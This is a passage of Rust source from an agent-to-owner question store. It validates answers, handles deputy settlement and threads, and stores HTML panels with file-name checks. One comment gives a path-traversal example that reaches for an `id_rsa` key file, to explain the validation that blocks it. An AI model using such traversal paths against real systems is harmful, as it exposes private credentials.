871    pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
872        if self.free_text() || self.choices.iter().any(|c| c == reply) {
873            return Ok(reply);
874        }
875        if ChoiceAction::Hold.matches_alias(reply)
876            && let Some(label) = self
877                .choices
878                .iter()
879                .find(|label| crate::triage::contextual_keep_held(self, label))
880        {
881            return Ok(label);
882        }
883        let matches: Vec<_> = self
884            .actions
885            .iter()
886            .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
887            .collect();
888        match matches.as_slice() {
889            [(label, _)] => Ok(label.as_str()),
890            [] => bail!(
891                "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
892                serde_json::to_string(&self.choices).expect("serialize labels")
893            ),
894            _ => bail!(
895                "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
896            ),
897        }
898    }
899
900    /// Record an answer. Rejects a choice the question does not offer, free
901    /// text on a multiple-choice question, an empty answer, and a second
902    /// answer.
903    ///
904    /// Every rejection here is a case where accepting would put a fabrication
905    /// in front of an agent as if the owner had said it. The messages are
906    /// distinct because the caller is a web handler that shows them verbatim,
907    /// and "that is not one of the choices" and "this question is multiple
908    /// choice" are different mistakes with different fixes.
909    pub fn answer(&mut self, answer: Answer) -> Result<()> {
910        self.answer_inner(answer)
911    }
912
913    /// Shared admission rule for answer routes and presentation controls.
914    pub fn can_answer(&self) -> bool {
915        self.status.open()
916    }
917
918    /// Optional chat buttons validate the displayed conversation and PR head.
919    pub(crate) fn answer_chat_button(
920        &mut self,
921        answer: Answer,
922        talk: &str,
923        head: &str,
924    ) -> Result<()> {
925        anyhow::ensure!(
926            self.routed_chat.as_deref() == Some(talk),
927            "wrong approval chat"
928        );
929        anyhow::ensure!(
930            self.merge_target.as_ref().is_some_and(|t| t.head == head),
931            "stale approval head"
932        );
933        self.answer_inner(answer)
934    }
935
936    fn answer_inner(&mut self, answer: Answer) -> Result<()> {
937        match (self.can_answer(), self.status) {
938            (false, QuestionStatus::Answered) => bail!(
939                "question {} was already answered; the run has moved on and a \
940                 second answer would be a decision nobody acted on",
941                self.short()
942            ),
943            (false, QuestionStatus::Abandoned) => bail!(
944                "question {} was abandoned and the run behind it is gone",
945                self.short()
946            ),
947            _ => {}
948        }
949        let body = match &answer {
950            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
951        };
952        if body.trim().is_empty() {
953            bail!(
954                "question {} needs an answer; an empty one tells the agent \
955                 nothing and it would guess anyway",
956                self.short()
957            );
958        }
959        match &answer {
960            Answer::Choice(c) if self.free_text() => bail!(
961                "question {} asks for free text, so `{c}` cannot be a choice \
962                 it offered",
963                self.short()
964            ),
965            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
966                "`{c}` is not one of the choices question {} offers: {}",
967                self.short(),
968                self.choices.join(", ")
969            ),
970            Answer::Text(_) if !self.free_text() => bail!(
971                "question {} is multiple choice; answer with one of: {}",
972                self.short(),
973                self.choices.join(", ")
974            ),
975            _ => {}
976        }
977        // `hold` is the safe word: it may carry the hold effect itself, but a
978        // producer that put any other effect behind it made a mistake.
979        if body.eq_ignore_ascii_case(crate::land::HOLD)
980            && self
981                .actions
982                .get(body)
983                .is_some_and(|a| *a != ChoiceAction::Hold)
984        {
985            bail!("hold cannot execute a question action");
986        }
987        self.answered_at = Some(Timestamp::now());
988        self.answer = Some(answer);
989        self.status = QuestionStatus::Answered;
990        Ok(())
991    }
992
993    /// Give up on an answer, keeping the record of what was asked.
994    ///
995    /// An answered question is left alone, which matters at exactly one moment:
996    /// the owner answering in the same second the wait's deadline passes. The
997    /// answer is the thing worth keeping there, and it has already been written
998    /// by another process.
999    ///
1000    /// The reason is appended to [`Question::detail`] because the on-disk shape
1001    /// is a contract with the front end and has no field of its own for it -
1002    /// and "asked at 3am, nobody home for a day" belongs with the question, not
1003    /// only in a log the operator will never open.
1004    pub fn abandon(&mut self, why: impl Into<String>) {
1005        if !self.status.open() {
1006            return;
1007        }
1008        self.status = QuestionStatus::Abandoned;
1009        let why = why.into();
1010        let why = why.trim();
1011        if why.is_empty() {
1012            return;
1013        }
1014        if !self.detail.is_empty() {
1015            self.detail.push('\n');
1016        }
1017        self.detail.push_str("\n_Abandoned: ");
1018        self.detail.push_str(why);
1019        self.detail.push_str("._\n");
1020    }
1021
1022    /// The answer as the asking agent should read it.
1023    ///
1024    /// One string for both kinds of question: the agent's prompt says "the
1025    /// owner answered:", and a chosen option and a typed sentence are the same
1026    /// thing at that point. `None` while the question is open or abandoned, so
1027    /// a caller cannot mistake silence for a decision.
1028    pub fn resolution(&self) -> Option<String> {
1029        match (self.status, &self.answer) {
1030            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
1031                Some(a.clone())
1032            }
1033            _ => None,
1034        }
1035    }
1036
1037    /// A deputy recording the owner's decision, read from the owner's words.
1038    ///
1039    /// The owner decided in free text ("setup done", "merge it") on a
1040    /// question that offers choices, so no choice was ever tapped. This
1041    /// records `label` as the answer - and nothing else: applying it is the
1042    /// daemon's or component's existing path for an answered question. The
1043    /// deputy's reading of the owner's words is the authority; no quote is
1044    /// needed. Refused only when the question is routed to a task chat (that
1045    /// chat settles it), the caller is not this question's deputy seat,
1046    /// `label` is not an offered choice, or the question is no longer open.
1047    /// `note` is the deputy's optional explanation, kept with the record.
1048    pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1049        if self.routed_task.is_some() {
1050            bail!("task decisions are handled by the task chat, not a deputy");
1051        }
1052        let Some(deputy) = &self.deputy else {
1053            bail!("question {} has no deputy", self.short());
1054        };
1055        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1056        if own != Some(seat) {
1057            bail!("only the deputy of question {} may settle it", self.short());
1058        }
1059        if !self.choices.iter().any(|c| c == label) {
1060            bail!(
1061                "`{label}` is not one of the choices offered on question {}",
1062                self.short()
1063            );
1064        }
1065        self.answer(Answer::Choice(label.to_owned()))?;
1066        self.thread.push(Turn {
1067            who: Who::Agent,
1068            body: format!("Settled as `{label}` on the owner's words."),
1069            at: Timestamp::now(),
1070            note: note
1071                .map(str::trim)
1072                .filter(|n| !n.is_empty())
1073                .map(str::to_owned),
1074        });
1075        self.delivered_turns = self.thread.len();
1076        Ok(())
1077    }
1078
1079    /// The owner speaking back without answering: a request for context, a
1080    /// clarifying question, anything short of a decision.
1081    ///
1082    /// Rejects the same two states [`Question::answer`] does, and for the same
1083    /// reason - a question with a recorded [`Answer`] or an abandoned one has
1084    /// no run left listening for a reply - and an empty turn, which would tell
1085    /// the agent nothing it didn't already know. Never changes `status`: the
1086    /// question stays [`QuestionStatus::Open`], because the owner did not
1087    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
1088    /// counting this as the one question it always was.
1089    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1090        match self.status {
1091            QuestionStatus::Answered => bail!(
1092                "question {} was already answered; there is nothing left to \
1093                 discuss",
1094                self.short()
1095            ),
1096            QuestionStatus::Abandoned => bail!(
1097                "question {} was abandoned and the run behind it is gone",
1098                self.short()
1099            ),
1100            QuestionStatus::Open => {}
1101        }
1102        let body = body.into();
1103        if body.trim().is_empty() {
1104            bail!("a message to question {} cannot be empty", self.short());
1105        }
1106        self.thread.push(Turn {
1107            who: Who::Operator,
1108            body,
1109            at: Timestamp::now(),
1110            note: None,
1111        });
1112        Ok(())
1113    }
1114
1115    /// The agent replying to the owner's last word, in place of an answer:
1116    /// same question, same id, another round.
1117    ///
1118    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
1119    /// on the same reasoning [`Questions::put_panel`] replaces a panel
1120    /// wholesale: the whole point of asking back is that what should be
1121    /// offered next may have changed, and a caller that wanted the old set
1122    /// unchanged can simply pass it again. An empty `Vec` means free text,
1123    /// exactly as it does when the question is first asked.
1124    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1125        match self.status {
1126            QuestionStatus::Answered => bail!(
1127                "question {} was already answered; replying now would not \
1128                 reach anyone",
1129                self.short()
1130            ),
1131            QuestionStatus::Abandoned => bail!(
1132                "question {} was abandoned and the run behind it is gone",
1133                self.short()
1134            ),
1135            QuestionStatus::Open => {}
1136        }
1137        let body = body.into();
1138        if body.trim().is_empty() {
1139            bail!("a reply to question {} cannot be empty", self.short());
1140        }
1141        // An action whose label is no longer offered could never fire.
1142        self.actions.retain(|label, _| choices.contains(label));
1143        self.choices = choices;
1144        let unread = self.unread_from_owner().is_some();
1145        self.thread.push(Turn {
1146            who: Who::Agent,
1147            body,
1148            at: Timestamp::now(),
1149            note: None,
1150        });
1151        // The agent has read everything up to its own reply - but only if
1152        // nothing the owner said in the meantime is still unread. A second say
1153        // that landed after the agent's last look must stay undelivered.
1154        if !unread {
1155            self.delivered_turns = self.thread.len();
1156        }
1157        Ok(())
1158    }
1159
1160    /// What the owner said that the agent has not read yet, oldest first,
1161    /// joined. `None` unless the question is open and such a turn exists.
1162    ///
1163    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
1164    /// second owner turn it never saw, which leaves the last turn the agent's
1165    /// and the ball apparently back with the owner while a say is still unread.
1166    pub fn unread_from_owner(&self) -> Option<String> {
1167        if !self.status.open() {
1168            return None;
1169        }
1170        let said = self.undelivered_owner_turns();
1171        (!said.is_empty()).then(|| said.join("\n\n"))
1172    }
1173
1174    /// Owner turns the agent has not been handed yet, oldest first, whatever
1175    /// the question's status. [`Question::unread_from_owner`] adds the "still
1176    /// open" guard the waiter and the deputy rely on; an answer being handed
1177    /// over needs the says that came before it even though the question is
1178    /// closed by then.
1179    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1180        let from = self.delivered_turns.min(self.thread.len());
1181        self.thread[from..]
1182            .iter()
1183            .filter(|t| t.who == Who::Operator)
1184            .map(|t| t.body.as_str())
1185            .collect()
1186    }
1187
1188    /// When the conversation last moved: the newest thread turn, or the asking
1189    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1190    /// every reply, so a deadline runs from here and not from `asked_at`.
1191    pub fn last_activity(&self) -> i64 {
1192        self.thread
1193            .iter()
1194            .map(|t| t.at.as_second())
1195            .max()
1196            .unwrap_or(0)
1197            .max(self.asked_at.as_second())
1198    }
1199
1200    /// Is the ball in the agent's court?
1201    ///
1202    /// True from the moment the owner speaks back until the agent's next
1203    /// [`Question::reply`], and never on a fresh or an already-settled
1204    /// question. [`QuestionStatus`] does not move for either side of this -
1205    /// see [`Question::say`] - so this is the one place that state is
1206    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1207    /// separately rather than asking the phone to infer it from the thread.
1208    pub fn waiting_on_agent(&self) -> bool {
1209        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1210    }
1211
1212    /// Should a notification go out right now?
1213    ///
1214    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1215    /// there is no earlier operator turn to have already caught anyone's
1216    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1217    /// since the owner's own last word - see that constant for why the window
1218    /// exists at all and why its length is not configurable.
1219    fn should_notify(&self, now: Timestamp) -> bool {
1220        let Some(last) = self
1221            .thread
1222            .iter()
1223            .rev()
1224            .find(|t| t.who == Who::Operator)
1225            .map(|t| t.at)
1226        else {
1227            return true;
1228        };
1229        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1230    }
1231}
1232
1233/// A question store on disk.
1234#[derive(Debug, Clone)]
1235pub struct Questions {
1236    root: PathBuf,
1237}
1238
1239struct QuestionUnlock(PathBuf);
1240
1241impl Drop for QuestionUnlock {
1242    fn drop(&mut self) {
1243        let _ = std::fs::remove_file(&self.0);
1244    }
1245}
1246
1247fn question_lock_stale(path: &Path) -> bool {
1248    std::fs::metadata(path)
1249        .and_then(|m| m.modified())
1250        .ok()
1251        .and_then(|t| t.elapsed().ok())
1252        .is_some_and(|age| age > LOCK_STALE)
1253}
1254
1255impl Questions {
1256    /// The operator's questions, `<home>/questions`.
1257    pub fn open() -> Self {
1258        Self::at(crate::run::home().join("questions"))
1259    }
1260
1261    /// A store at an explicit root. Tests use this, which is why none of them
1262    /// need the operator's real home.
1263    pub fn at(root: PathBuf) -> Self {
1264        Self { root }
1265    }
1266
1267    /// Directory holding the question files.
1268    pub fn root(&self) -> &Path {
1269        &self.root
1270    }
1271
1272    /// Path for one question id.
1273    pub fn path_of(&self, id: &str) -> PathBuf {
1274        self.root.join(format!("{id}.json"))
1275    }
1276
1277    /// Directory holding one question's panel, `<root>/<id>.panel`.
1278    pub fn panel_dir(&self, id: &str) -> PathBuf {
1279        self.root.join(format!("{id}{PANEL_DIR}"))
1280    }
1281
1282    /// Store a panel: the html, plus `assets` copied in under their base
1283    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1284    /// question, or the record on disk will deny having a panel that exists.
1285    ///
1286    /// The assets are **copied, not referenced**. An agent authors its panel
1287    /// inside a candidate worktree and points at files there, and `magi fold`
1288    /// deletes those worktrees; a question is the permanent record of a
1289    /// decision the owner took, so a panel that referenced its own images
1290    /// would render as broken boxes exactly when someone went back to ask why
1291    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1292    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1293    /// so the bytes counted and the bytes written are the same target file's -
1294    /// which is the intent: storing a link would leave the panel pointing at
1295    /// the worktree again, one indirection further away.
1296    ///
1297    /// Everything that can be rejected is rejected before the first byte is
1298    /// written, and the panel is then assembled in a scratch directory and
1299    /// swapped in. So a refusal leaves the previous panel intact, and a
1300    /// success replaces it *wholesale* rather than merging: a re-asked
1301    /// question showing one attempt's diff next to another attempt's table
1302    /// would be a panel neither agent ever wrote.
1303    ///
1304    /// [`put`]: Questions::put
1305    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1306        if !valid_asset_name(&q.id) {
1307            bail!(
1308                "question id `{}` is not a name magi will build a panel path from",
1309                q.id
1310            );
1311        }
1312        if html.trim().is_empty() {
1313            bail!(
1314                "question {} was handed an empty panel; an empty frame reads to \
1315                 the owner as \"the agent had nothing to say\", which is a lie",
1316                q.short()
1317            );
1318        }
1319
1320        // Names, then sizes, then writing - in that order, so nothing below
1321        // can leave a partial panel on disk.
1322        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1323        for src in assets {
1324            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1325            if !valid_asset_name(name) {
1326                bail!(
1327                    "panel asset `{}` cannot be stored: a panel file name must \
1328                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1329                    src.display()
1330                );
1331            }
1332            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1333                bail!(
1334                    "two panel assets are both named `{name}` - {} and {} - and \
1335                     the panel can only show one of them; rename one at the source",
1336                    first.display(),
1337                    src.display()
1338                );
1339            }
1340            named.push((name.to_owned(), src.as_path()));
1341        }
1342
1343        let mut total = html.len() as u64;
1344        for (_, src) in &named {
1345            let meta = std::fs::metadata(src)
1346                .with_context(|| format!("stat panel asset {}", src.display()))?;
1347            if !meta.is_file() {
1348                bail!(
1349                    "panel asset `{}` is not a file; a panel is html plus files \
1350                     copied beside it",
1351                    src.display()
1352                );
1353            }
1354            total = total.saturating_add(meta.len());
1355        }
1356        if total > PANEL_MAX_BYTES {
1357            bail!(
1358                "panel for question {} is {total} bytes, over magi's cap of \
1359                 {PANEL_MAX_BYTES} bytes; nothing was written",
1360                q.short()
1361            );
1362        }
1363
1364        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1365        let dir = self.panel_dir(&q.id);
1366        std::fs::create_dir_all(&self.root)
1367            .with_context(|| format!("create {}", self.root.display()))?;
1368        clear_dir(&tmp)?;
1369        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1370        if let Err(e) = fill_panel(&tmp, html, &named) {
1371            // A copy that dies halfway must not become the panel, and must not
1372            // leave scratch behind for the next call to inherit.
1373            let _ = std::fs::remove_dir_all(&tmp);
1374            return Err(e);
1375        }
1376        clear_dir(&dir)?;
1377        std::fs::rename(&tmp, &dir)
1378            .with_context(|| format!("move panel into {}", dir.display()))?;
1379
1380        q.panel = true;
1381        q.assets = named.into_iter().map(|(n, _)| n).collect();
1382        q.assets.sort_unstable();
1383        Ok(())
1384    }
1385
1386    /// The panel's html, or `None` when the question has no panel.
1387    ///
1388    /// `None` rather than an error for a missing panel because the caller is a
1389    /// web handler whose answer is 404 either way, and an unreadable panel is
1390    /// not a reason to fail the question it belongs to.
1391    pub fn panel_html(&self, id: &str) -> Option<String> {
1392        if !valid_asset_name(id) {
1393            return None;
1394        }
1395        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1396    }
1397
1398    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1399    /// not a name a panel file can have".
1400    ///
1401    /// Rejects a name failing [`valid_asset_name`] **before touching the
1402    /// filesystem**, which is the whole point of the second check: the name
1403    /// arrives from a URL, the directory is on disk where any process could
1404    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1405    /// operating system would resolve perfectly happily. The two callers'
1406    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1407    /// `Result<Option<_>>` rather than one flattened `Option`.
1408    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1409        if !valid_asset_name(name) {
1410            bail!(
1411                "`{name}` is not a panel file name; it must match \
1412                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1413            );
1414        }
1415        if !valid_asset_name(id) {
1416            return Ok(None);
1417        }
1418        let dir = self.panel_dir(id);
1419        if !dir.is_dir() {
1420            return Ok(None);
1421        }
1422        let path = dir.join(name);
1423        match std::fs::read(&path) {
1424            Ok(bytes) => Ok(Some(bytes)),
1425            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1426            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1427        }
1428    }
1429
1430    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1431    ///
1432    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1433    /// not have to know whether a panel was ever written. The question record
1434    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1435    /// in the same order as everywhere else here.
1436    ///
1437    /// [`put_panel`]: Questions::put_panel
1438    pub fn drop_panel(&self, id: &str) -> Result<()> {
1439        if !valid_asset_name(id) {
1440            bail!("question id `{id}` is not a name magi will build a panel path from");
1441        }
1442        clear_dir(&self.panel_dir(id))?;
1443        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1444    }
1445
1446    /// Path of the lease sidecar for one question id.
1447    pub fn lease_path(&self, id: &str) -> PathBuf {
1448        self.root.join(format!("{id}.lease"))
1449    }
1450
1451    /// The lease on a question, if a readable one exists.
1452    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1453        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1454        serde_json::from_str(&body).ok()
1455    }
1456
1457    /// Say, as `kind`, that something is alive and waiting on this question.
1458    ///
1459    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1460    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1461    /// the holder is gone a little early, and that is what the delivery guard
1462    /// (the seat still being busy) is there for.
1463    pub fn beat(&self, id: &str, kind: WaiterKind) {
1464        let lease = Lease {
1465            kind,
1466            pid: std::process::id(),
1467            beat_at: Timestamp::now(),
1468        };
1469        let path = self.lease_path(id);
1470        let tmp = path.with_extension("lease.tmp");
1471        let written = std::fs::create_dir_all(&self.root)
1472            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1473            .and_then(|()| std::fs::rename(&tmp, &path));
1474        if let Err(e) = written {
1475            tracing::debug!("could not beat the lease on question {id}: {e}");
1476        }
1477    }
1478
1479    /// Remove the lease sidecar. Absent is fine.
1480    pub fn drop_lease(&self, id: &str) {
1481        let _ = std::fs::remove_file(self.lease_path(id));
1482    }
1483
1484    /// Read-modify-write one question under a short exclusive lock, so the
1485    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1486    /// each other with a copy that predates the others.
1487    ///
1488    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1489    /// a torn file and does nothing for two writers that both read the same
1490    /// version first. Everything that changes a question that can still be
1491    /// answered goes through here: `f` sees the current record, not one loaded
1492    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1493    /// mid-update and is broken.
1494    pub fn update<T>(
1495        &self,
1496        id: &str,
1497        f: impl FnOnce(&mut Question) -> Result<T>,
1498    ) -> Result<(Question, T)> {
1499        self.update_in(id, &crate::task_chat::InquiryOwnership::default(), f)
1500    }
1501
1502    pub(crate) fn update_in<T>(
1503        &self,
1504        id: &str,
1505        ownership: &crate::task_chat::InquiryOwnership,
1506        f: impl FnOnce(&mut Question) -> Result<T>,
1507    ) -> Result<(Question, T)> {
1508        std::fs::create_dir_all(&self.root)
1509            .with_context(|| format!("create {}", self.root.display()))?;
1510        let lock = self.root.join(format!("{id}.lock"));
1511        let started = std::time::Instant::now();
1512        let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1513        loop {
1514            match retry.create(&lock) {
1515                Ok(_) => break,
1516                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1517                    if question_lock_stale(&lock) {
1518                        let _ = std::fs::remove_file(&lock);
1519                    } else if started.elapsed() > LOCK_STALE {
1520                        bail!("could not lock question {id}");
1521                    } else {
1522                        std::thread::sleep(Duration::from_millis(15));
1523                    }
1524                }
1525                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1526            }
1527        }
1528        let _guard = QuestionUnlock(lock);
1529        let mut q = read_path(&self.path_of(id))?;
1530        let effective_dismissal = |q: &Question| {
1531            q.resolution().as_deref() == Some(crate::merge_decision::DISMISS)
1532                && !self.root.parent().is_some_and(|home| {
1533                    crate::task_chat::migrated_source_in(home, &q.id, ownership)
1534                        && crate::task_chat::source_reply_needs_confirmation(home, q)
1535                })
1536        };
1537        let was_dismissed = effective_dismissal(&q);
1538        let prior_answer = (q.answered_at, q.resolution());
1539        let out = f(&mut q)?;
1540        if q.resolution().is_some() && prior_answer != (q.answered_at, q.resolution()) {
1541            let home = self.root.parent().context("question store has no home")?;
1542            anyhow::ensure!(
1543                !crate::task_chat::source_retired(home, &q.id),
1544                "approval target is obsolete; no effect remains necessary"
1545            );
1546            q.accepted_answer_at = q.answered_at;
1547            crate::task_chat::accept_fresh_reply(home, &q, ownership)?;
1548        }
1549        if !was_dismissed && effective_dismissal(&q) {
1550            let home = self.root.parent().context("question store has no home")?;
1551            crate::merge_decision::dismiss(home, &q)?;
1552        }
1553        self.put_in(&mut q, ownership)?;
1554        Ok((q, out))
1555    }
1556
1557    /// File a component-owned question only when every choice has an effect.
1558    /// Legacy records remain readable; this is deliberately a creation check.
1559    pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1560        self.put_executable_in(q, &crate::task_chat::InquiryOwnership::default())
1561    }
1562
1563    pub(crate) fn put_executable_in(
1564        &self,
1565        q: &mut Question,
1566        ownership: &crate::task_chat::InquiryOwnership,
1567    ) -> Result<()> {
1568        anyhow::ensure!(
1569            q.actions.keys().all(|c| q.choices.contains(c)),
1570            "question action names an unoffered choice"
1571        );
1572        for label in &q.choices {
1573            anyhow::ensure!(
1574                crate::choice_effect::describe(q, label).is_some(),
1575                "question node {} offers an unsupported choice: {label}",
1576                q.node
1577            );
1578        }
1579        self.put_in(q, ownership)
1580    }
1581
1582    /// Write a question, atomically, so a process killed mid-write leaves the
1583    /// previous state readable rather than a truncated file that would strand
1584    /// the run waiting on it.
1585    pub fn put(&self, q: &mut Question) -> Result<()> {
1586        self.put_in(q, &crate::task_chat::InquiryOwnership::default())
1587    }
1588
1589    pub(crate) fn put_in(
1590        &self,
1591        q: &mut Question,
1592        ownership: &crate::task_chat::InquiryOwnership,
1593    ) -> Result<()> {
1594        if self.path_of(&q.id).exists()
1595            && let Ok(saved) = self.read_history(&q.id)
1596            && self.held_reply_in(&q.id, ownership)
1597            && (saved.status != q.status
1598                || saved.answer != q.answer
1599                || saved.answered_at != q.answered_at)
1600            && !(q.answer.is_some()
1601                && q.accepted_answer_at.is_some()
1602                && q.accepted_answer_at == q.answered_at)
1603        {
1604            bail!(
1605                "historical question {} requires inquiry reconciliation or explicit settlement; its saved reply cannot expire or be overwritten",
1606                q.id
1607            );
1608        }
1609        if q.status.open()
1610            && q.routed_task.is_none()
1611            && let Some(home) = self.root.parent()
1612        {
1613            q.routed_task = ownership
1614                .task_of(home, q)
1615                .filter(|_| crate::task_chat::chat_routable(q));
1616        }
1617        std::fs::create_dir_all(&self.root)
1618            .with_context(|| format!("create {}", self.root.display()))?;
1619        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1620        let path = self.path_of(&q.id);
1621        let tmp = path.with_extension("json.tmp");
1622        let is_new = !path.exists();
1623        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1624        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1625        // A first write of an open question pages the operator, so a separate
1626        // notification about the same task or run is now a second page.
1627        if is_new
1628            && q.status.open()
1629            && q.node != crate::bump::NOTICE_NODE
1630            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1631        {
1632            crate::notices::quiet_for(home, q);
1633        }
1634        Ok(())
1635    }
1636
1637    /// Decode an exact saved record for migration without repair upgrades,
1638    /// routing writes, lease changes or any other operational side effect.
1639    pub(crate) fn read_history(&self, id: &str) -> Result<Question> {
1640        anyhow::ensure!(
1641            !id.is_empty() && !id.contains(['/', '\\']) && id != "." && id != "..",
1642            "invalid saved inquiry identity"
1643        );
1644        let q = read_path(&self.path_of(id))?;
1645        anyhow::ensure!(
1646            q.id == id,
1647            "saved inquiry identity does not match its filename"
1648        );
1649        Ok(q)
1650    }
1651
1652    /// Passive inspection fenced against concurrent source answers. A busy
1653    /// question is deferred rather than waited on by reconciliation.
1654    pub(crate) fn try_inspect_history<T>(
1655        &self,
1656        id: &str,
1657        inspect: impl FnOnce() -> Result<T>,
1658    ) -> Result<T> {
1659        let q = self.read_history(id)?;
1660        let lock = self.root.join(format!("{}.lock", q.id));
1661        let retry = crate::lock_file::Retry::new(None);
1662        match retry.create(&lock) {
1663            Ok(_) => {}
1664            Err(error)
1665                if error.kind() == std::io::ErrorKind::AlreadyExists
1666                    && question_lock_stale(&lock) =>
1667            {
1668                let _ = std::fs::remove_file(&lock);
1669                retry.create(&lock)?;
1670            }
1671            Err(error) => return Err(error.into()),
1672        }
1673        let _guard = QuestionUnlock(lock);
1674        inspect()
1675    }
1676
1677    /// Load a question by id or unambiguous id prefix.
1678    pub fn get(&self, id: &str) -> Result<Question> {
1679        let resolved = self.resolve_id(id)?;
1680        let q = read_path(&self.path_of(&resolved))?;
1681        Ok(self.with_repair_choice(q))
1682    }
1683
1684    /// Execution-only projection: saved consent is never a new request.
1685    /// UI and API readers must use `get` / `list`, which retain saved status.
1686    pub fn get_for_effects(&self, id: &str) -> Result<Question> {
1687        self.get_for_effects_in(id, &crate::task_chat::InquiryOwnership::default())
1688    }
1689
1690    pub(crate) fn get_for_effects_in(
1691        &self,
1692        id: &str,
1693        ownership: &crate::task_chat::InquiryOwnership,
1694    ) -> Result<Question> {
1695        let resolved = self.resolve_id(id)?;
1696        let q = self.with_repair_choice_in(read_path(&self.path_of(&resolved))?, ownership);
1697        let migrated = self
1698            .root
1699            .parent()
1700            .is_some_and(|home| crate::task_chat::migrated_source_in(home, &q.id, ownership));
1701        Ok(self.consumption_view_in(q, migrated, ownership))
1702    }
1703
1704    /// Whether this source is quarantined saved consent, including history
1705    /// without a current consumer. It must not expire into a default action.
1706    pub(crate) fn held_reply(&self, id: &str) -> bool {
1707        self.held_reply_in(id, &crate::task_chat::InquiryOwnership::default())
1708    }
1709
1710    pub(crate) fn held_reply_in(
1711        &self,
1712        id: &str,
1713        ownership: &crate::task_chat::InquiryOwnership,
1714    ) -> bool {
1715        self.read_history(id).is_ok_and(|q| {
1716            self.root.parent().is_some_and(|home| {
1717                (crate::task_chat::migrated_source_in(home, &q.id, ownership)
1718                    && crate::task_chat::source_reply_needs_confirmation(home, &q))
1719                    || crate::task_inquiry::Outbox::at(home)
1720                        .get(id)
1721                        .is_ok_and(|record| {
1722                            record.decision.is_some_and(|d| {
1723                                (d.legacy_settled || d.source_retired)
1724                                    && d.status == crate::task_decision::Status::Resolved
1725                            })
1726                        })
1727            })
1728        })
1729    }
1730
1731    // Keep the source JSON intact for the passive history decoder. Every
1732    // operational reader sees an unanswered hold until a fresh owner answer
1733    // exists; neither delivery nor a saved legacy reply supplies that authority.
1734    fn consumption_view_in(
1735        &self,
1736        mut q: Question,
1737        migrated: bool,
1738        ownership: &crate::task_chat::InquiryOwnership,
1739    ) -> Question {
1740        if self.root.parent().is_some_and(|home| {
1741            crate::task_inquiry::Outbox::at(home)
1742                .get(&q.id)
1743                .is_ok_and(|record| {
1744                    record.decision.is_some_and(|d| {
1745                        (d.legacy_settled || d.source_retired)
1746                            && d.status == crate::task_decision::Status::Resolved
1747                    })
1748                })
1749        }) {
1750            // Settlement executes nothing, including a consumer's default
1751            // branch for abandoned questions. The native decision is resolved;
1752            // legacy consumers remain fenced from both consent and fallback.
1753            q.answer = None;
1754            q.answered_at = None;
1755            q.answer_authority = None;
1756            q.status = QuestionStatus::Open;
1757            return q;
1758        }
1759        if let Some(home) = self.root.parent()
1760            && migrated
